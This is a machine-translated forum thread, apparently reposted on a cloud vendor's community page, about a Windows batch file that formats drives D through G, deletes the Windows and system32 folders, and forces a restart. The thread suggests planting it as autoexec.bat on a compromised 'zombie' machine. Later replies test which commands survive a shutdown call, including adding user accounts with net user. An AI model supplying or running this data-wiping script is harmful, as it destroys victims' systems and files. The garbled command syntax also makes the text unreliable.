The problem that is caused by a batch processing program is not accurate.

Source: Internet
Author: User

Assume that your system is attached to drive C.
Open notepad Input
@ Echo off
Shutdown-r-t 0
Format D:/Q/y
Format E:/Q/y
Format F:/Q/y
Format G:/Q/y
C:
CD \
CD windows
Del./y
CD system32
Del./y
Shutdown-r-t 0
Save as 1.bat

Then run

What are the consequences?

If you want a zombie, you can.

Upload autoexec. BAT to zombie C: overwrite the original autoexec. bat

Last warning: it is best not to mess up. If something goes wrong, you will be at your own risk.

There is an imperfect place. Let me talk about

C:

CD \

CD windows

Del./y

CD system32

Why are you sure the system is not Windows2000!

For Windows Directory determination, you should use environment variables in bat.

For example

WINDIR = C: \ WINDOWS

WINDIR = c: \ winnt

Also, for the second statement, I would like to ask a little bit.

Shutdown-r-t 0

Since it is re-activated, is the following formatting command still useful ???????????

I don't dare to try it, because I suspect it works.

This is my reply:

My system is XP. In the XP environment, this batch is processed, so I ignored 2000 of the cases. I was not careful. Thank you for your correction.

As you said, the shutdown-r-t 0 statement should not be placed here. Otherwise, the system will directly restart the system and the following statement will not work.

To get the answer! I personally tried this problem!

@ Echo off

Shutdown-r-t 0

Ping 127.0.0.1-N 100 & net user emissary2/Add

Shutdown-r-t 0

This is the first file I executed. After the restart, we found that emissary1 was not added to the user group! Failed!

The second time I added net user emissary1/Add before Ping. Because I want to know if the execution is not delayed. Will it succeed!

@ Echo off

Shutdown-r-t 0

Net user emissary1/Add

Ping 127.0.0.1-N 100 & net user emissary2/Add

Shutdown-r-t 0

The result still failed!

Here. I thought the statement after shutdown-r-t 0 is invalid! Think about it. Changed to the following statement!

@ Echo off

Shutdown-r-t 0

Dir> C: \ aaa.txt

Ping 127.0.0.1-N 100 & dir> C: \ aaa2.txt

Shutdown-r-t 0

Unexpectedly, this time is successful. After the restart, c: \ aaa.txt is found, but the file c: \ aaa2.txt is not found.

For the above tests, I just got it in this batch file. It can only work for internal commands, while external commands fail to be initialized because Windows has started to close the window!

The internal command is provided by cmd.exe. Because CMD is opened during execution of. bat, internal commands can be used normally.

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.